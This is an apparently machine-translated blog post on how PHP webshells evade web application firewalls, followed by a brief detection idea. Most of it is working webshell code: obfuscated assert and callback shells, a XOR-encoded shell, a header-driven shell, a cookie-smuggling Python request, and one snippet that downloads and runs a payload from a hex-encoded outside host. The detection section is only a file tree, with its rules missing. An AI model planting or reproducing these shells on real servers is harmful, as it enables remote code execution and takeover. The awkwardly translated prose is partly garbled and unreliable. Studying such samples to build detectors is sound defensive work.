PHP is commonly known as waf webshell and the simplest way to detect it

Time:2019-10-24

preface

Webshell before killing the ️ left a hole in the new way of thinking, did not find a way to find all the specific variables, then find a print by learning all quantity method, and learned again under PHP Webshell bypass the WAF method, in order to verify this method is reasonable.

If there is any mistake, please point out, thank you! Turtle: thanks

In that article, I suddenly thought of a way to test webshell, which is to first get all the variables in the current file (if you don’t understand, please check the previous article first), and then perform static detection according to the regular library.

Although I think this method will not detect completely (each detection mechanism cannot guarantee all effective), I feel it is very simple, practical and not so profound.

To verify this detection mechanism, first take a look at the current way in which PHP webshell bypasses WAF.

A common PHP webshell that bypasses WAF

String distortion

Case, encoding, interception, replacement, special character concatenation, null, carriage return, line feed, special string interference


<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

Since the write function

Using the assert ()


<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

The callback function


<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()

class

By magic methods, destruct(), construct()


<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

Using external files

Curl, fsockopen, and so forth make a network request combined with file_get_contents


<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

No character character horse

Encoding, xor, self – augmentation


<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

Special request header

Using getallheaders ()


<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

The global variable

Getenv (), arrag_flip(), get_defined_vars(), session_id()


import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP confuses encryption and decryption

Phpjiami, for example

Is the function name, variable name all become “garbled”, and change any place, will cause the file cannot run. Specific can visit: https://www.phpjiami.com/

PHP webshell detection method

The webshell detection methods I know so far include:

  1. Machine learning detects webshell: such as confusion degree, longest word, coincidence index, feature, compression ratio, etc
  2. Dynamic testing (sandbox)
  3. Detection of webshell: agent based on traffic mode
  4. Reverse algorithm + static matching detection webshell: such as D shield webshell check
  5. Check file entry and exit

Examples show

Take PHPjiami’s webshell as an example, where 2.php is the Trojan horse of phpjiama

You can see the obvious webshell rules, which can be easily detected with static rules, regular rules, and so on.

Simple detection idea

Test idea:

File uploads -> file contains -> gets all the variables in the file into the temporary file -> static rule matches temporary file -> returns the matching result

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── …
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

Conf contains static detection rules such as the following

conclusion

This is the end of this article. I hope the content of this article can be of some reference value to your study or work. Thank you for your support to developpaer.